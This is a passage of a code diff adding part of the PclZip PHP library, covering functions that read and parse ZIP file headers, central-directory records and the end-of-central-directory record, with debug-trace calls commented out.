+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found file '".$v_header['filename']."', size '".$v_header['size']."'");
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting file in string (with path) '".$p_entry['filename']."', size '$v_header[size]'");
+
+    // ----- Do the extraction (if not a folder)
+    if (!(($p_entry['external']&0x00000010)==0x00000010))
+    {
+      // ----- Look for not compressed file
+//      if ($p_entry['compressed_size'] == $p_entry['size'])
+      if ($p_entry['compression'] == 0) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting an un-compressed file");
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Reading '".$p_entry['size']."' bytes");
+
+        // ----- Reading the file
+        $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
+      }
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extracting a compressed file (compression method '".$p_entry['compression']."')");
+
+        // ----- Reading the file
+        $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
+        
+        // ----- Decompress the file
+        if (($p_string = @gzinflate($v_data)) === FALSE) {
+            // TBC
+        }
+      }
+
+      // ----- Trace
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Extraction done");
+    }
+    else {
+        // TBC : error : can not extract a folder in a string
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privReadFileHeader", "");
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary data is : '".sprintf("%08x", $v_binary_data)."'");
+    $v_data = unpack('Vid', $v_binary_data);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary signature is : '".sprintf("0x%08x", $v_data['id'])."'");
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x04034b50)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Invalid File header");
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 26);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 26)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Header : '".$v_binary_data."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Header (Hex) : '".bin2hex($v_binary_data)."'");
+    $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);
+
+    // ----- Get filename
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "File name length : ".$v_data['filename_len']);
+    $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Filename : \''.$p_header['filename'].'\'');
+
+    // ----- Get extra_fields
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extra field length : ".$v_data['extra_len']);
+    if ($v_data['extra_len'] != 0) {
+      $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
+    }
+    else {
+      $p_header['extra'] = '';
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Extra field : \''.bin2hex($p_header['extra']).'\'');
+
+    // ----- Extract properties
+    $p_header['version_extracted'] = $v_data['version'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Version need to extract : ('.$p_header['version_extracted'].') \''.($p_header['version_extracted']/10).'.'.($p_header['version_extracted']%10).'\'');
+    $p_header['compression'] = $v_data['compression'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Compression method : \''.$p_header['compression'].'\'');
+    $p_header['size'] = $v_data['size'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Size : \''.$p_header['size'].'\'');
+    $p_header['compressed_size'] = $v_data['compressed_size'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Compressed Size : \''.$p_header['compressed_size'].'\'');
+    $p_header['crc'] = $v_data['crc'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'CRC : \''.sprintf("0x%X", $p_header['crc']).'\'');
+    $p_header['flag'] = $v_data['flag'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Flag : \''.$p_header['flag'].'\'');
+    $p_header['filename_len'] = $v_data['filename_len'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Filename_len : \''.$p_header['filename_len'].'\'');
+
+    // ----- Recuperate date in UNIX format
+    $p_header['mdate'] = $v_data['mdate'];
+    $p_header['mtime'] = $v_data['mtime'];
+    if ($p_header['mdate'] && $p_header['mtime'])
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date is actual : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+
+    // TBC
+    //for(reset($v_data); $key = key($v_data); next($v_data)) {
+    //  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Attribut[$key] = ".$v_data[$key]);
+    //}
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set the status field
+    $p_header['status'] = "ok";
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadCentralFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privReadCentralFileHeader", "");
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary data is : '".sprintf("%08x", $v_binary_data)."'");
+    $v_data = unpack('Vid', $v_binary_data);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary signature is : '".sprintf("0x%08x", $v_data['id'])."'");
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x02014b50)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Invalid Central Dir File signature");
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 42);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 42)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Header : '".$v_binary_data."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Header (Hex) : '".bin2hex($v_binary_data)."'");
+    $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);
+
+    // ----- Get filename
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "File name length : ".$p_header['filename_len']);
+    if ($p_header['filename_len'] != 0)
+      $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
+    else
+      $p_header['filename'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Filename : \''.$p_header['filename'].'\'');
+
+    // ----- Get extra
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Extra length : ".$p_header['extra_len']);
+    if ($p_header['extra_len'] != 0)
+      $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
+    else
+      $p_header['extra'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Extra : \''.$p_header['extra'].'\'');
+
+    // ----- Get comment
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Comment length : ".$p_header['comment_len']);
+    if ($p_header['comment_len'] != 0)
+      $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
+    else
+      $p_header['comment'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Comment : \''.$p_header['comment'].'\'');
+
+    // ----- Extract properties
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Version : \''.($p_header['version']/10).'.'.($p_header['version']%10).'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Version need to extract : \''.($p_header['version_extracted']/10).'.'.($p_header['version_extracted']%10).'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Size : \''.$p_header['size'].'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Compressed Size : \''.$p_header['compressed_size'].'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'CRC : \''.sprintf("0x%X", $p_header['crc']).'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Flag : \''.$p_header['flag'].'\'');
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Offset : \''.$p_header['offset'].'\'');
+
+    // ----- Recuperate date in UNIX format
+    if ($p_header['mdate'] && $p_header['mtime'])
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Date is actual : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    }
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set default status to ok
+    $p_header['status'] = 'ok';
+
+    // ----- Look if it is a directory
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Internal (Hex) : '".sprintf("Ox%04X", $p_header['internal'])."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "External (Hex) : '".sprintf("Ox%04X", $p_header['external'])."' (".(($p_header['external']&0x00000010)==0x00000010?'is a folder':'is a file').')');
+    if (substr($p_header['filename'], -1) == '/') {
+      //$p_header['external'] = 0x41FF0010;
+      $p_header['external'] = 0x00000010;
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Force folder external : \''.sprintf("Ox%04X", $p_header['external']).'\'');
+    }
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Header of filename : \''.$p_header['filename'].'\'');
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFileHeaders()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success,
+  //   0 on error;
+  // --------------------------------------------------------------------------------
+  function privCheckFileHeaders(&$p_local_header, &$p_central_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCheckFileHeaders", "");
+    $v_result=1;
+
+	// ----- Check the static values
+	// TBC
+	if ($p_local_header['filename'] != $p_central_header['filename']) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "filename" : TBC To Be Completed');
+	}
+	if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "version_extracted" : TBC To Be Completed');
+	}
+	if ($p_local_header['flag'] != $p_central_header['flag']) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "flag" : TBC To Be Completed');
+	}
+	if ($p_local_header['compression'] != $p_central_header['compression']) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "compression" : TBC To Be Completed');
+	}
+	if ($p_local_header['mtime'] != $p_central_header['mtime']) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "mtime" : TBC To Be Completed');
+	}
+	if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Bad check "filename_len" : TBC To Be Completed');
+	}
+
+	// ----- Look for flag bit 3
+	if (($p_local_header['flag'] & 8) == 8) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Purpose bit flag bit 3 set !');
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'File size, compression size and crc found in central header');
+        $p_local_header['size'] = $p_central_header['size'];
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Size : \''.$p_local_header['size'].'\'');
+        $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Compressed Size : \''.$p_local_header['compressed_size'].'\'');
+        $p_local_header['crc'] = $p_central_header['crc'];
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'CRC : \''.sprintf("0x%X", $p_local_header['crc']).'\'');
+	}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadEndCentralDir()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadEndCentralDir(&$p_central_dir)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privReadEndCentralDir", "");
+    $v_result=1;
+
+    // ----- Go to the end of the zip file
+    $v_size = filesize($this->zipname);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Size of the file :$v_size");
+    @fseek($this->zip_fd, $v_size);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Position at end of zip file : \''.ftell($this->zip_fd).'\'');
+    if (@ftell($this->zip_fd) != $v_size)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- First try : look if this is an archive with no commentaries (most of the time)
+    // in this case the end of central dir is at 22 bytes of the file end
+    $v_found = 0;
+    if ($v_size > 26) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Look for central dir with no comment');
+      @fseek($this->zip_fd, $v_size-22);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Position after min central position : \''.ftell($this->zip_fd).'\'');
+      if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Read for bytes
+      $v_binary_data = @fread($this->zip_fd, 4);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Binary data is : '".sprintf("%08x", $v_binary_data)."'");
+      $v_data = @unpack('Vid', $v_binary_data);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Binary signature is : '".sprintf("0x%08x", $v_data['id'])."'");
+
+      // ----- Check signature
+      if ($v_data['id'] == 0x06054b50) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found central dir at the default position.");
+        $v_found = 1;
+      }
+
+      $v_pos = ftell($this->zip_fd);
+    }
+
+    // ----- Go back to the maximum possible size of the Central Dir End Record
+    if (!$v_found) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Start extended search of end central dir');
+      $v_maximum_size = 65557; // 0xFFFF + 22;
+      if ($v_maximum_size > $v_size)
+        $v_maximum_size = $v_size;
+      @fseek($this->zip_fd, $v_size-$v_maximum_size);
+      if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Position after max central position : \''.ftell($this->zip_fd).'\'');
+
+      // ----- Read byte per byte in order to find the signature
+      $v_pos = ftell($this->zip_fd);
+      $v_bytes = 0x00000000;
+      while ($v_pos < $v_size)
+      {
+        // ----- Read a byte
+        $v_byte = @fread($this->zip_fd, 1);
+
+        // -----  Add the byte
+        $v_bytes = ($v_bytes << 8) | Ord($v_byte);
+
+        // ----- Compare the bytes
+        if ($v_bytes == 0x504b0506)
+        {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Found End Central Dir signature at position : \''.ftell($this->zip_fd).'\'');
+          $v_pos++;
+          break;
+        }
+
+        $v_pos++;
+      }
+
+      // ----- Look if not found end of central dir
+      if ($v_pos == $v_size)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to find End of Central Dir Record signature");
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Read the first 18 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 18);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 18)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    ////--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Central Dir Record : '".$v_binary_data."'");
+    ////--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Central Dir Record (Hex) : '".bin2hex($v_binary_data)."'");
+    $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);
+
+    // ----- Check the global size
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Comment length : ".$v_data['comment_size']);
+    if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The central dir is not at the end of the archive. Some trailing bytes exists after the archive.");
+
+	  // ----- Removed in release 2.2 see readme file
+	  // The check of the file size is a little too strict.
+	  // Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
+	  // While decrypted, zip has training 0 bytes
+	  if (0) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
+	                       'The central dir is not at the end of the archive.'
+						   .' Some trailing bytes exists after the archive.');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+	  }
+    }
+
+    // ----- Get comment
+    if ($v_data['comment_size'] != 0)
+      $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
+    else
+      $p_central_dir['comment'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Comment : \''.$p_central_dir['comment'].'\'');
+
+    $p_central_dir['entries'] = $v_data['entries'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Nb of entries : \''.$p_central_dir['entries'].'\'');
+    $p_central_dir['disk_entries'] = $v_data['disk_entries'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Nb of entries for this disk : \''.$p_central_dir['disk_entries'].'\'');
+    $p_central_dir['offset'] = $v_data['offset'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Offset of Central Dir : \''.$p_central_dir['offset'].'\'');
+    $p_central_dir['size'] = $v_data['size'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Size of Central Dir : \''.$p_central_dir['size'].'\'');
+    $p_central_dir['disk'] = $v_data['disk'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Disk number : \''.$p_central_dir['disk'].'\'');
+    $p_central_dir['disk_start'] = $v_data['disk_start'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Start disk number : \''.$p_central_dir['disk_start'].'\'');
+
+    // TBC
+    //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
+    //  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "central_dir[$key] = ".$p_central_dir[$key]);
+    //}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDeleteByRule()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDeleteByRule(&$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privDeleteByRule", "");
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+
+    // ----- Scan all the files
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position before rewind : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after rewind : ".ftell($this->zip_fd)."'");
+    if (@fseek($this->zip_fd, $v_pos_entry))
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+    // ----- Read each entry
+    $v_header_list = array();
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Read next file header entry (index '$i')");
+
+      // ----- Read the file header
